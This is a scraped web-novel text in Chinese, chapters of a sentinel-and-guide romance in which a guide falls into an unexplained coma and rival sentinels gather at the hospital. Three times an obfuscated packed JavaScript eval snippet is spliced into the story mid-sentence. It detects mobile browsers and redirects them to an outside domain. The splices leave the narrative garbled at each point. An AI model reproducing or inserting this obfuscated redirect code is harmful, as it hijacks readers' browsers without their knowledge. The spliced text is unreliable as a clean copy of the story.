副队抱着桶靠在门框边,上下打量,繁复的装饰吸睛,但移走了视觉中心,把□□衬得次要,给出建议:“太多了,”他抬起光脑,找到自己收藏的一个贴子,【火辣哨兵的十种穿衣风格】,将链接发过去,“你看看这个。” “好兄弟,”阿瑞斯满意地将胸前的装饰取下,放在沙发上,点开贴子开始学习,一会儿后抬起头,“帮我关个门。” “嗯。”房门缓缓合拢,外面的声音变得沉闷,阿瑞斯解开裤头,走进浴室,打开喷头,水量充沛,水速湍急,打在头顶、肩膀,带着细微的锥刺感。 将水温放凉,热意还是无法褪去,直到他按捺不住,发出轻微的喘息声,玻璃被水汽覆盖,变成灰蒙蒙一片,水声是很久后停的,灯已经熄了,室内完全黑暗,只剩下两只闪着微光的眼睛。 长官家中。 头发干透,清淡花香随着发丝拨动而散开,身体干爽,全身舒畅。她点开通讯录,编辑消息:【队长,明天你们有空吗,要不要一起出来吃顿饭?我请客】 向解逸飞队长发出聚餐邀约,周一正式上班,还要叠加训练,以后见面机会将大幅减少,距离和时间都是阻碍。 二十六楼的会议室灯火通明,响亮的声音回荡到最后一排,谈话说到尾声。 铃声响动,他低头查看,声音暂止,室内寂静一片,开口简要结尾,下意识出声柔和,意识到后,重新变得冷硬,点了几人的名字,让他们留下,结束会议。 洛朗看向洛伦斯,这些人都有个共同的特点,那就是,他们都被位向导安抚过,尽管没有使用精神力,但那种感觉仍然像被托举在云端,像飞鸟顺着气流滑翔一样,自在且妙不可言。 查看消息的一瞬间,队长脸上的严肃表情松懈,那片刻的柔软,但凡有意观察的人都能发现,他陷入了热恋,单方面的,因此接收到对方的来信,那份喜悦就撬开躯壳,溢出体表。 在场的人陆续离开,洛朗和洛伦斯两兄弟接收到他的视线,停了下来,往前向他聚拢,解逸飞简单地通知这个好消息,无论是对整支队伍,还是对他们个人,唯一遗憾的就是邀请了太多人,不能再次独处。 数具躯体聚在一块,手掌扒在门背,站着、蹲着,扭身侧耳,姿态各异,而听得清楚的人则扭过头无声地传递信息,读懂唇语的人高兴得露出牙齿。 “咚——” 他们竭力保持安静,这声音是从一旁传来的,一个不速之客,羽毛和贝壳串成项链落在颈前。宋晓宇,男人轻敲墙面,震动传递,扩大到耳中,脆响尖锐。 “里面在干什么,这么起劲?我可以参加吗?” 没等他走近,房门被打开,率先迈出来的是他的老熟人,蜜蜂兄弟,宋晓宇的鼻尖轻嗅空气中的气息,没什么特别的。高大的身躯走出房门,看向来人,是隔壁队伍的宋晓宇,“我们在队内沟通,有什么事?” “没,”双手摊在向前,掌心朝上,“队里一个人都没有,我训练完,就想着找你们聊聊天,没想到你们在忙。”目光从每人脸上扫过,他回来的当天,在这层楼,特别是接待室,闻到了她的味道。 “我们今晚有事,”不是自己的队员,解逸飞并没太计较,“马上熄灯,你早点回去吧。”语气不重,却没容他拒绝,看来他们不打算同他分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15910848|176810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 享这个好消息。 男人的头轻微前后晃动,像是认同了这个决定,往回走,硬质鞋底在地面发出“哒、哒”声。他不是瞎子,更不是傻子,给出去通讯号,但将近一周,他出来,光脑上也没有任何好友申请。 被遗忘的感觉很糟糕,胸口发闷,吸入的每口气都咸湿闷热,他已经了解到,她就是被副队救下带回的那名向导,他还在外面,明天提前回来。而这些人,看起来是她的新欢,如果他没认错口型的话。 身影没入黑暗,他转身走进一队会议室,站在窗边,就算回去,今天宿舍里也只有他一人,郁闷无处诉说,他打开窗户,没有召唤出精神体,只身跃出窗外。 坠落,速度越来越快,失重会让身体紧张,同时产生超脱感,世界落入眼中,时间停滞,急速坠下的黑影,让还没离开的人跑到窗边看,直到脊背处生长出一双翅膀,宋晓宇进入半兽化状态,黑羽上下扇动,频率极快,翅膀尖上翘, 看热闹的人便失望地散开,还以为是有人室外抛物,或者是什么大新闻,结果又是空战组的人乱飞,会飞很了不起吗?夜里没有禁制,虽然不推崇,他这样做并不违规。好奇心落回肚里,收拾好剩余物品,关灯离开办公室。 待他走后,解逸飞身边便围拢了里外三圈的人,个个眼神期待地看向他,聚餐,这不会是一个秘密,他们早晚会知道,他便向众人也宣告了这个消息,等候他们的反应。 洛伦斯率先发声:“怎么能让向导请客呢,该是我们包场吧,”其他人随即附和,表示赞同,这当然是不言自明的。 他想到一个点子,手握成拳拍在掌心,“不如我们别去外面吃了,”下巴往左侧深处抬起,“那不是还有个闲置会议室吗?就在对内吃怎么样,顺便让她了解一下我们队?” 那房间确实够大,宽敞明亮,稍微收拾一下,也是个不错的待客地,最重要的是这是他们的地盘,可以装饰得温馨些,就像个小家一样,也许她会喜欢,以后常来。 其他人同意了,等了好一会儿,她甚至疑惑对方是不是睡着了,没看见消息,百无聊赖地望着墙顶,直到一通电话打过来,立即接通。 “喂?” “向导小姐,我们明天有空,想邀请你来我们队内聚餐,你觉得怎么样?” “好啊,”她说到一半蹲下,“可食物……” “我们会准备的,”传来的男声有点回应,一圈圈回荡,她迟疑了一下,好像跟最初预想的不太一样,“你人来就好。” “你想吃点什么?” “嗯……”她犹豫了。 会议室里,耳边传来软糯的女声,音量不大,但仿佛能听到轻微呼吸声,感受到薄弱的气息喷洒在耳边,惹得人浮想联翩,仿佛能想象到她此时慵懒地靠在椅背的模样,眼眸半垂,脸颊红润。 “没关系,你们安排吧。” 约好时间后,她挂断电话,好像人情越欠越多了。随后将光脑取下,放在床头柜。熄灯躺下,双目紧闭,静谧得听不到一点杂音,断断续续的影像闪现,黑影扑了过来,睁开眼,内心惴惴不安,以为是错觉。 但随着时间过去,它不但没消散,反而愈演愈烈,耳边冒出异响,她紧张地将手缩至胸前,四处观望,除了她,这里没有别人。心跳加快,艰难地吞咽口水,这是怎么了? 17. 第 17 章 下床起身,四处检查,各处无异样,但不时的轻微嘶鸣,环绕着她,不断浮现,翅膀高频扇动的扑腾声,仿佛凌冽的风打在脸上,抬头看,只是空调挡风板下扬,地面瓷砖光洁如新,没有灰尘,更别提虫子了。 这声音是从哪里来的? 窗外有两只圆润的小鸟,褐色尾羽展开,一左一右、一前一后地站在树梢上,头部晃动,警惕地四处张望。它们没被惊动,脚趾紧抓在树干上,随后扑到窗户前,像两只小精灵。 杂音消失,她的心落下来,也许是物品碰撞摩擦发出的声音,什么东西没放稳,将手放在腹部,一遍遍向下抚摸,安抚自己,她重新回到床上。 被子中间凸起长条形,被套与躯体完全贴合,不露出一点缝隙,只有下巴以上的头部露在外面,今天没有熄灯,暗淡的暖光灯在墙角亮起,给房间增加一点温馨,她的心逐渐平静下来,闭上了眼睛。 第二天上午,山昊做完例行训练,吃过早餐,甚至处理完一段公务,她还没有醒来。看向挂钟,不早了,她入睡的时间也太长,摁下暂停键,音乐停止播放,离开书房,来到卧室门前。 “咚、咚、咚。” “起床了,”声音最初不大,里面没反应,拍击门板的力道逐渐增大,“徐珊珊,”他提高音量,仍然没动静,喊了两三声,不好的预感从内心升起,接下来又快又重,“你还好吗?” 拧下门把手,她从里面反锁了,上下两道合金锁,推不开。 心脏在胸膛内剧烈跳动,接下来的动作像砸门了,它与门框间露出空隙,锁芯钳在墙内,在他强力的撞击下,门框裂开了,里面的气温偏凉,却依然静谧,除了他闹出来的动静,阳光撒进房间形成光柱,微尘漂浮其间。 她平躺在床上,双手放在胸前,安静得像是睡着了。男人的掌骨头处通红,但此刻却感受不到震痛,不再复往日的体面,衬衫袖子因为剧烈运动皱成一团,留下印子。 “徐珊珊,”从喉间吐出的气流声,三两下跑到床前,蹲下来,手指触碰外露肌肤,经脉在指肉下跳动,感受它颤动的频率,体温、心跳、呼吸正常,“醒醒。” 扶着脸颊,轻微晃了晃,嘴唇张开,露出贝齿,但仍然紧闭上眼,白皙的脸颊上有一道泪痕,侧过头时便相聚流下,将枕套浸湿,口中吐露出无意义的语气词。 她怎么了? 越是惊慌就越需要镇静,他压下负面情绪,尝试将她唤醒,离开梦魇,恢复意识,他担心对方被被污染了,虽然这是他的地方,整座庭院都被包裹着,外来者的一举一动都躲不过他的感知。 但万一她是在别处染上的,而他毫不知情呢。眼眶微红,他不知道自己竟是这样情绪化的人,种种负面的可能在脑中出现,他深呼吸,努力将它们甩出去。 向导对污染的免疫能力更强,她等级不低,如果有什么异常,也不该一开始就这样严重。入职前体检,她身体健康,各项指标数据正常,也没有既往病史。 问题会出在哪儿,他立刻联系医院并向上汇报,取出一条毯子,掀开被子,在身上裹了几圈,团成一个茧,手搭在后腰和膝盖窝,又快又稳地横抱着抬下去。 救护车来得很快,她被放上担架,他跟上车,与医生沟通后,他拨通了昨日和她有过接触的两人电话,让两人立即赶来医院。 刺鼻的消毒水味,极其安静的午后,两面环绕的透明玻璃,几个人和站在门外,解释病理、观察、选择治疗方案。昨天与她有过接触的曼努埃尔和阿瑞斯两人自然也被叫来。 两人很快赶来,病房的门紧闭,她还在里面做全身检查,曼努埃尔先到,阿瑞斯在电梯关闭后,从另一扇门走出来,紧随其后。 曼努埃尔穿着灰绿色背心,浑身湿透了,全是汗液,张着嘴喘着粗气,接到消息的时候,正在给车子做维修,卸下底盘,安装一侧踏板。 他一个人住在一处,叫其他人需要时间,等不及列车,他唤出精神体,体型硕大的灰狼,骑乘上去,压低身体趴伏,毛发在空中涌动,呈流线型,奔跑在黑粒分明的柏油马路上,太阳从云层中探头,地面变热,热量汇聚,张开嘴,长条舌面露出,大口吸入新鲜空气。 来到医院门前,他才将它收回去,甚至没来得及带面罩,在电梯前,被路人见他斑驳恐怖的面容,眼神里都是惊恐,不自在地从兜里取出面罩,套在头上。 电梯里的人逐渐离开,只剩他一人,希望再快一点,迫切的心,楼层数逐个增加,登记后,进入向导专属的治疗所,从门板中的透明玻璃,看见了站着的男人,领口松开纽扣,领带松垮系着,看着很颓丧。 推开门走进去,男人迎面而来,眉毛紧皱,迫不及待问:“你们昨天去了哪里,有没有接触到什么别的东西?” “图书馆、咖啡馆、商场、餐厅,”他向对方详细解释两人的踪迹,对方一再追问,而他也回忆出每个细节,两人只短暂分开过几次,是她去上厕所,直到最后到家,离开时,她还一切正常。 阿瑞斯:“昨晚九点,她还是清醒的,”两人看过来,仿佛在问他为什么会知道,没有打断,他继续说:“她正常回应了我的消息,” 难道变故出现在房屋内吗,但每个走廊、每扇窗户、门,都被他严密监视着,任何蛛丝马迹都逃不过他的眼睛,何况智能管家一刻不停地监测着室内动态,没有任何异响。 “也许你该检查一下房子,”阿瑞斯毫不隐藏自己的不满,在他眼里,无论是身为哨兵还是长官,保护不好一名向导,实在是,难以原谅,“她在你那儿里出了问题,你该对此作出交代。” “如果你连这个都做不好,没有资格待在她身边。” 阿瑞斯的语气很重,毫不在意顶撞前辈,他眼底发青,看上去昨夜没睡好,肩上的黑雾不再维持虎的形态,而是分散开,包裹住他的肩膀,逐渐向手臂蔓延。 受到质疑,山昊抬起眼睛,直视过去,眼神算不上友善,带着凛冽的寒光,“我会找到原因。”在白色衬衫下,胳膊的关节处逐渐长住红色圆润的珠子,将布料撑起。 见两人剑拔弩张,精神波动过大,甚至隐隐有崩溃异化迹象,曼努埃尔隔开两人,波澜不惊的声音像一潭清水,往两人的头上浇下去,“她只是睡着了,先等检查结果。” 阿瑞斯重重地哼了一声,为了避免冲突,抱着胳膊,走到另一侧坐下,头偏向一旁。 山昊深呼了一口气,肢体逐渐复原,将视线投诸门口,如果曼努埃尔的喘气声别那么大,汗臭味别那么浓烈,还有,别穿着一双破拖鞋,他就相信对方跟表现出来得一样镇静了。 牵连其中的三人,都狠狠地揪住心,各有各的狼狈模样,护士推车一辆小车走近,她推开门,走了进去,视线瞥向室内,马上被合拢,他们围在门外等待判决。 那桩秀美的别墅已经被封锁,纠车停在马路上,车顶闪烁着红□□,纠察员戴上手套,越过警戒线,打开院门,往里走去。 不久后,纠察队的人从电梯走出来,约有六人,瓷砖上映照出硬挺的制服,头戴白色头盔,腰间系着纯白束带,手上拿着深蓝色文件夹,递过来。 山昊伸手接过去,几人围拢,快速浏览,手指翻页,阿瑞斯皱眉,太快了,他看得眼花,但另外两人似乎一目十行地全看完了。 他反复扫视底页的盖章和结论,再次确认:“你是说,检查无污染?” 队长点了点头,伸手,衣袖完全覆盖掌根,白色手套纹丝合缝地贴着手指,没有露出皮肉。山昊将报告交回,内心疑惑更甚,简直像天外来物,到底是哪里出了问题。 南希:“房屋内外污染度为零,”意思是附近不存在污染物,排除了一条可能,调出视频投上墙,“根据监控,她回房间后,你们并未接触,但作为第一目击证人,需要去做一趟笔录。” 她猜测这事不是他所为,两人在监控视频 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15912412|176810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中,不仅没发生口角,相反,关系亲昵,语言语调,全是十分信任、自然。看得她牙酸,但向导出事,必须调查清楚原因,哪怕他资历深、地位高,也不例外。 “我愿意配合调查。” 她抬头看向另外两人,“还有你们,”他嫌疑最重,但其他人也不是全然无辜,每条消息都十分重要。发生在管控区内的离奇事件,加上之前针对向导的攻击事件,让人不得不警惕起来。 “嘎——” 病房的门被打开,看见门口站着这么多人,医生也见怪不怪,但还是要找个能主事的人,简言之就是“正宫”,不然你一句我一嘴会耽误时间,检查报告单被放在塑料袋内,“谁是病人家属?” “我是,她情况怎么样?”他离门最近,于是袋子被递到他手上,医生也转身正对着他,她摘下口罩,解释病人情况。阿瑞斯咬紧牙根,愤懑地忍耐着,看他从塑料袋中提出纸张,透过纸背,仿佛要灼出一个洞。 无论是体格测量、触诊、听诊,还是□□检测、影像扫描,可以说这里的技术是最先进的,但查不出任何问题,除去无法苏醒,她的生理指标,甚至脑部活动都和正常人没什么区别。 好消息是她暂时没有生命危险,还存在吞咽反射,可以从嘴巴喂食,补充营养,坏消息是,查不出问题,也没有让她醒来的办法。 他们的脸上呈现灰木色,显然不能接受失去一位向导。毕竟,医生也明白,哨兵是武力强大,无往不利的锐器,在焦土中为普通人挡出一片安全区,而向导是延续、维持他们生命、战力的源泉。 失去向导的哨兵会像没有雨露的树木一样枯竭,变得混乱、易碎,无法维持稳定,要么在战斗中死亡,要么最终丧失理智堕化。如果两人精神链接过,就更像是脖子上系上锁链,或者说直接钉入体内,轻轻扯动,就肝肠寸断。 她是药,也是明月。 病房内的女人平静地躺在床上,一动不动,佩戴着呼吸罩,像是真的陷入沉睡,“也许这不是病,”医生是个普通人,知道他们能力各异,分化出不同类型,推测道,“也许这是她的异能呢?” 像拨开乌云见天日,打破众人的思维固式。 当然,这很有可能,排除其他错误选项,他也不得不劝慰自己,指认这是她的精神体觉醒的象征。医生、护士相继离开,他们得以进入病房,山昊的手指摸上冰凉的玻璃窗,指尖仿佛透过窗户贴近她的脸。 在她示意下,三名纠察员走到病房内的各转角站下,背靠墙,面朝外。他们身上都不携带枪支,但手中的权力没有哨兵会违逆。南希带着礼貌性的微笑看向三人,是时候离开了。 阿瑞斯的精神也逐渐平复下来,知道她暂时没危险,雾气褪下,重新凝聚成虎形,落在他肩上,后脚支撑,两只粗大的前掌贴在玻璃上,摊成圆饼,看得仔细,发出嘤嘤声。可惜这没一个人会回应它,会笑着安抚它的人此刻躺在病床上。 曼努埃尔的情况比两人稳定,不是因为他自制力多好,而是他经历过临时标记,那场结合让他的精神状态大幅改善,因此当医生提出猜测时,他几乎立即接受了。 也许她的能力和梦有关。 三人一同去做笔录,其余两人做完后离开,南希站起身,打开门,他被羁留在那儿,背靠在椅子上,等待进一步调查,室内的墙壁、桌面、椅子、床都被厚软的皮革包裹,也许他要在这儿待上很久。 但没过多久,门口锁芯转动,沉重房门被推开,房门敞开,女人笑着站在门口,左手抬起,这个迹象是好消息,他站起身走近,两人同为哨兵,但他体格更大,居高临下地垂视,眼里不带感情。 “她醒了,你可以出去了。” 南希让开位置,男人点头,从右侧穿出,下坡后,通过哨岗,来到马路边,登上公车,坐在第一排。后视镜显现他此时,穿着凌乱,紧绷的心慢下来,双手上扬,系好每颗扣子,重新打好领带。 18. 第 18 章 白色方形天花板,白枕头、蓝窗帘、两侧金属围栏的床,抬起头拉扯线头,扣在额间的电极贴片,玻璃上的纹路,外面隐约靠着黑色人影,但看不清晰,揭开被子爬起来。 房内的女人弓起腰,迷茫地左右环望,纠察队员看见,向同伴示意,三人中的一人离开,不久一名医生走进来。 房门被打开,医生脸上带着防护口罩,进门后扯了下来,是个女人,胸前挂着身份牌,有白塔标识,上衣口袋挂了一只圆珠笔。 她的手里没拿针头,见医生进来,徐珊珊本来伸出的腿又缩进被子里,摸不清楚自己怎么会到这儿来。 医生:“你现在感觉怎么样?” “还好,”手腕的针管有些松动,刺进肉里,不明显的异物感,还是有点畏惧,手指向它,“可以取下来了吗?” “不急,”这名医生接着问了她一些问题,按实回答,不久后护士跟来,为她拆下身上的仪器。 “我发生什么事了吗?”她从床上蹦下来,除了肚子有些饿,倒什么特别的感受,觉得懒洋洋的,想走两步。 “上午,你的家属发现你陷入昏迷,醒不过来,把你送到这儿来接受治疗,”对面的女人拍了拍自己的脸,面部红润,眼睛有神,弯腰接了两杯水喝下肚,看上去精神不错。 “噢,”长官也勉强可以算家属吧,帮忙签个字什么的,越过门往外看,“那他人呢?” 没回答这个问题。见她没事,医生叮嘱,再观察一下,待会做趟检查,如果没什么事,再出院回家。 等医生走了,护士也推车离开,房间里只剩她和另一位纠察队员,摊开手掌,举起来,“你好?” 面对她的视线,纠察员的视线闪躲,想开口回应,喉咙却突然被什么东西堵住了,“咳、咳。”见对方咳嗽起来,还止不住,拳头握在嘴边,她起身接了一杯水,双手递过去。 “谢谢。” “没事,你慢慢喝。” 他只咽了一口,嘴唇晶莹,面容严肃,将水杯握在手中,眼睛不自觉地瞥了一眼,又正回来,“他被唤去谈话了。” 徐珊珊不敢置信,瞪大眼睛,“真的吗?” 对方看过来,缓慢地应了一声,点头答复,怕她担心,又补充道:“他一定会得到公正的结果。” 越说越可怕了,她附和着点头,“当然,我相信你们。”看着对方头上的白头盔,她推测出几人的身份,看来是很大的指控,感觉长官要上军事法庭了。 应该跟她没关系吧,她不过是个小人物。难道他干了什么坏事,被发现了?觉得自己的猜测太过离谱,又忍不住一路想下去,也许他是敌人派来的间谍?看不出来呀。 脑海中浮现一个画面,长官站在被告席,右手举起,忏悔道:“我有罪。”顿时汗毛竖立,她不过是多睡了几个小时,世界就大变样了。 “我可以出去转转吗?有点睡累了。” “可以,但请让我们保护你。” 徐珊珊点头,她知道保护就是贴身跟随的意思,推开玻璃门,外面还站着两个“白帽子”,微笑着向两人打招呼,他们被训练得表情紧绷,试图友善回应,笑容却很僵硬,似笑非笑很像假人。 她低下头,视线投诸地面,目不斜视地走到病房门旁,握住门把手,门锁响动的声音惊动了门外守着的人,明亮灯光照进这间房,她率先走了出去。 曼努埃尔原坐在椅子上,五指交叉,怀里抱着一个餐盒,听见响声迟疑地抬头,原以为又是医护人员,抬眼才发现是心心念念的人,倏地站起身,迎上来。 阿瑞斯和他的精神体都靠在墙上,睡得昏沉,眼底发青,看上去昨晚熬夜了,还是通宵?下巴上冒出胡茬,还真是少见,今天没刮胡子,这可不像他。 见到熟人太让人有安全感了,她走过去,因为紧张而捉住对方的手臂,凹下五个坑,贴近了些,轻声喊:“你好。” 见她有些紧张,曼努埃尔缓慢地眨了一下眼,喉结滚动,任由她牵着,带到椅子中间坐下,自己坐在左侧,隔开她与纠察队员,侧身挡住视线。躲在怀里,她感到片刻安宁,想往前凑,又眉头一皱缩回来。 看见她不着痕迹地擦了擦鼻子,四处偷瞟,头缩回去,曼努埃尔突然意识到,自己身上的味道,“抱歉,需要我坐远一点吗?” “不,”害怕他也跑了,紧张地捉住对方的手腕,她睁大了眼睛,摇了摇头,又看见跟门神一样站在那儿注视着两人的队员们,拉低声音问:“发生什么事了?” 嗓音轻软,语气中暗含依赖,听得心颤,呼吸一滞,虽然不明白她这么做的意义,那三名纠察员一定能够听清两人谈话,但也不自觉模仿对方,将音量降低,捏着嗓子说: “你久睡不醒,怎么喊都没用,山昊把你送医院来了。” 对方的目光在自己脸上扫描,好像要检查每一寸皮肤,是否有异常,她舔了舔嘴唇,俯身过去,贴近有伤的那侧脸,曼努埃尔下意识地往后缩,见她愣住,对抗拒感到意外,随后强迫自己停下来。 怕他误会,她轻声说:“我问你个事,”随后慢慢将脸靠过去,停在他耳边,嘴巴凑在耳廓边,只流出些气流音,目光警惕地看向三人,直视对上,又缩回来装没看见。 “那他人呢,他出事了吗?” 喷热的气息撒在耳蜗,细腻白嫩的脸蛋和他的那块疤,仅隔一厘米的距离,灰色布料挡在两块温热的皮肤之间,阻挡了热量交换,贴得非常近,他的呼吸紊乱,感到意乱神迷,下意识将手环向腰部,担心她歪倒下去。 热意窜袭全身,记忆又涌上心头,眸子逐渐染上欲望,逐渐感到难以自控,直到对方又推了推他的肩膀,“曼努埃尔?”,他的回复太慢了,对方抬起上半身,拉远了距离,他几个深呼吸平复生理反应。 “他在纠察队做笔录,因为你昏迷的原因未知,需要了解相关情况,解除隐患。他没事,很快就会回来。” 放心了,她点点头,原来还真是因为自己,她还是低估了白塔对向导的重视程度。听他没事,她也没那么紧张了,侧靠在椅子上,看向男人身后,一块块墙壁上的门牌。 突然一只手抬向自己,迎面而来,她眼睛聚焦,穿过耳旁,伸向后方,扭头一看,发现对方钳制住了阿瑞斯的头。 原来这家伙睡觉不老实,眼见着就要贴到她身上了,雾团子以缓慢地速度往她肩上流动,曼努埃尔不允许他对病人这样做。 “我们换个位置吧。” 其实她觉得没什么,让他靠一靠,但还是听从建议站了起来,男人挪动座位,她坐左侧。这下不用他按着,阿瑞斯的头又歪向了另一侧,真是有点好笑。 这事打破略显沉闷的氛围,她侧过脸,低头看向他的光脑,“现在几点了?” 曼努埃尔:“下午四点五十八。” “那我确实睡了挺久。” 没事就好,这场意外打断了她的计划,本准备趁周末,好好看看书。双手交握放在大腿上,她一时盯着曼努埃尔,又看向地面,来回几次,他忍不住问:“有什么话想说吗?” 澄澈的双眼眨巴两下,眼角浸出细珠,嘴唇偏干发白,曼努埃尔很心疼,完全没注意自己的状态也不遑多让。 她仰起头,“我有点饿了。” 他笑起来,恍然大悟似的,关心则乱,连这点事都没想起来,见对方伸手向怀里的盒饭,他摇了摇头,“这个冷了,我去给你买热的。” “你想吃什么?” 数种菜名在脑中蹦出来,但护士突然叫住她,可以去做检查了,站在门口回头,“小笼包!”又补了一句,“别买多了。”她晚上还要聚餐呢。 进入检查间,躺上仪器,闭眼。 一切结束后,需要时间等结果,经过病房门,搭在门框,突然想起来,她转头回看,紧跟在身后的三位“保镖”。 因为她停下,后方的第一个人首先住脚,连锁反应,第二个人看见,挺直站立,就像多米诺骨牌一样,逐个站直,有点像人机,忍不住笑了两下。 “你们吃饭了吗?” 三人沉默,最终是为首的哨兵点头回答:“吃过了。” “好,”她扯开一个笑容,毕竟是为了保护她,“辛苦你们了。”随后走出病房,迎面撞上阿瑞斯,他堵在门前,贴上来,给了她一个大大的拥抱,整个人扑进他的怀里,手掌扒着后背的衣料,迟迟没放开。 他肩上的雾团子也凑过来,嘁嘁哑哑地叫,一副很可怜需要抚慰的样子。 拍了拍肩胛骨,被粗厚肌肉包裹着,声音沉闷,示意他将自己放开。 纠察队员就看着两人在门口抱得难舍难分,男人眼眶通红,头低着,泪水盈润,手强力地抱紧对方,被喊名字,他抬起头,瞳孔上浮,视线聚焦,露出下三白,毫不介意地看向三人,被人看见自己脆弱的样子。 他蹲下来,以一种仰视的姿态望着她,手臂下移,最终握住她的手,“你没事,太好了。” 他昨晚兴奋了一夜没睡,天亮才闭眼,不久就被人喊起,说有人找他,紧接着就是这个消息,赶去医院,一路上非常紧张。 透过视窗,看见里面昏睡的人,想到她有可能离开,就难受得说不出话,肺部像要炸掉一般,听见什么都觉得烦躁,尽管这儿并没多余噪音。 她的所谓领导的质询更是让他怒火中烧,从前以为是优秀榜样,到现在看,就该撤销他们的上下级关系,怎么能让一名哨兵来领导一名向导? 准是他做了什么才让她情况不稳定的,阿瑞斯知道自己这么想没有理由,他身上没多少她的气息,两人不可能发生过什么,但还是忍不住埋怨对方。 直到得知她状况稳定,他才坐着眯了一会儿,睡梦时感知到的人应该是她,醒过来时曼努埃尔不见了,他守在门口,隔音太好以至他不知道里面发生了什么。 等房门打开,他第一眼看见她,就激动得扑了上去,对方竟也没拒绝,他有些舍不得收手。一开始是真情实意,后面就带着些耍赖卖乖了。 他反应很大,不像见过一次面的网友,好像两人关系没那么亲密吧?这样的热情,她不知道该怎么回应,只能笨拙地安抚:“我没事,你别这样,起来。” 雾团子经由两人相连的手,跃到她的肩上,舔舐脸颊,虽然没什么重量,还是被阿瑞斯伸手捞了回去,整只狮子往后缩,一副不依从的模样,但还是被拖了回来。 见对方还磨蹭着不松手,她有些生气了,有人看着呢,冷脸呵斥:“起来。” 男人下意识起身,像是察觉到什么有意思的东西,她接着说:“松手,”对方虽然不舍,还是放下手。没想到这么好用?看来不能给这些人太多好脸色,要不然就会顺杆上树。 底线是不可逾越的。 感情上希望他别伤心,可是有种神秘力量,让她希望对方能够一直掉眼泪给她看,有种破碎美。当然,这也是阿瑞斯精心练过的,不可能哭得不好看。 她伸出手,对方配合地曲腿,高度降下来,擦去眼角的泪珠,捏了捏他的脸颊,皮肉很薄。 “不准哭了。” “好。”阿瑞斯的脸贴在她的手心,露出一抹笑容,表情温顺地像一只无害小猫。 半小时后,得知没事了,自己重获自由,详细报告需要几天后给出。于此同时,三位纠察员收到消息,可以撤离,向她道别,转身离开。 走之前塞给她一张卡片,疑惑地接过来,男人解释说:“队长让我交给你。” “好,再见,一路顺风。”她挥挥手,目送三人走进电梯。 整层楼道只剩下他们两人,伸了个懒腰,转动头部和腰,放松身体。这是一张滑溜溜的纸质卡片,表面覆膜,有金色暗纹,手腕转动调整角度,是银杏叶的图案。 姓名、职位、联系方式、办公地址,原来是一张个人名片。真是脸都不要了,这个哨兵真可恶,阿瑞斯恨得牙痒痒,什么人都要往她身边凑,嘴上问:“你要收下吗?” 交给他来处理,一定撕碎扔进垃圾桶,但面上只能接受她的决定,尊重对方的意愿。 她有些奇怪,没见过这号人,为什么要递自己名片? “南希是谁?” “纠察队的女队长。”他特意强调性别,虽然没那么重要,但哨向间多是异性结合。 “噢,酷!”她眨着眼睛,应该是个飒姐,想了想,多条人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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尴尬地抬眼,看向曼努埃尔,惹得他也回头看去,打量对方,手上同样拎着食物,在他的眼皮底下眉来眼去,不到一天就跟他有小秘密了。山昊:“不想吃这个?” 她摇了摇头,接过去,找椅子坐下。 曼努埃尔则走向阿瑞斯,对方毫不客气地接住,挑起筷子开吃,“这不是上次你在食堂……”几乎没一分钟,就只剩两个了,他看了眼曼努埃尔,对方的目光却只看向座椅上的两人。 阿瑞斯说话时,三人对视,她简直想捂住他的嘴,这家伙,只可惜为时已晚,还是被听见了。 山昊:“你喜欢吃包子?” 她支支吾吾地应下,“其实粥也喜欢。”勺子舀起来将食物送进嘴中,长官:“我记下了。” 不要记这种东西啊。阿瑞斯很快吃完,三人就或坐或站地,看着她进餐,非常有压迫性,逼得她手上动作快上许多。 山昊:“不用急,慢慢吃,吃不下别硬撑。” 吃了一半,考虑到晚上还要赴约,她摇了摇头,长官顺手接了过去,将剩下的送进胃里。餐盒丢进垃圾桶,站起身,“稍等一下。” 长官走进医生办公室,再次询问情况,得到肯定回答。 他走出来,虽然穿着仍一丝不苟,但相比往日,眉眼间有些许疲惫,衬衫有些乱了,本该是熨过,整齐合身的。见她望向自己,从兜里掏出光脑递还,“我送你回白塔。” 接过来,习惯性拨亮屏幕,五点过了,赶回去不一定来得及,走向电梯,连忙向解逸飞发消息,说自己晚点到。 四人同乘,回到那座高耸入云的纯白色建筑物。 走进白塔的电梯内,向上运行,长官点亮她宿舍所在楼层,曼努埃尔按向负三楼,而阿瑞斯抱臂站在门口没动,队伍驻所不远,但他并不想提前下电梯,就像另外两人一样。 很显然三人是要看着她回宿舍的,聚会怎么办? 看向十分钟前的最后来信,解逸飞队长让她别着急,晚点来,他们还需要时间准备。这是安慰的话,他们等得够久了,她迟到了。“对不起”三个字打在聊天框,没有发出去。 长官看过来,见她在拨动屏幕,知道她喜欢上网,没放在心上,明天是周一,她第一天上班,精神疏导很消耗精力,“回去好好休息,如果不舒服,我给你请假。” 电梯门打开,手指摁着开门键,直到女人的身影没入室内,才松开手,按向另一个楼层键,阿瑞斯走上前准备摁下按钮,却发现对方已经帮忙摁了。 他退回原地,不情愿的一声:“谢了。” 电梯上行。 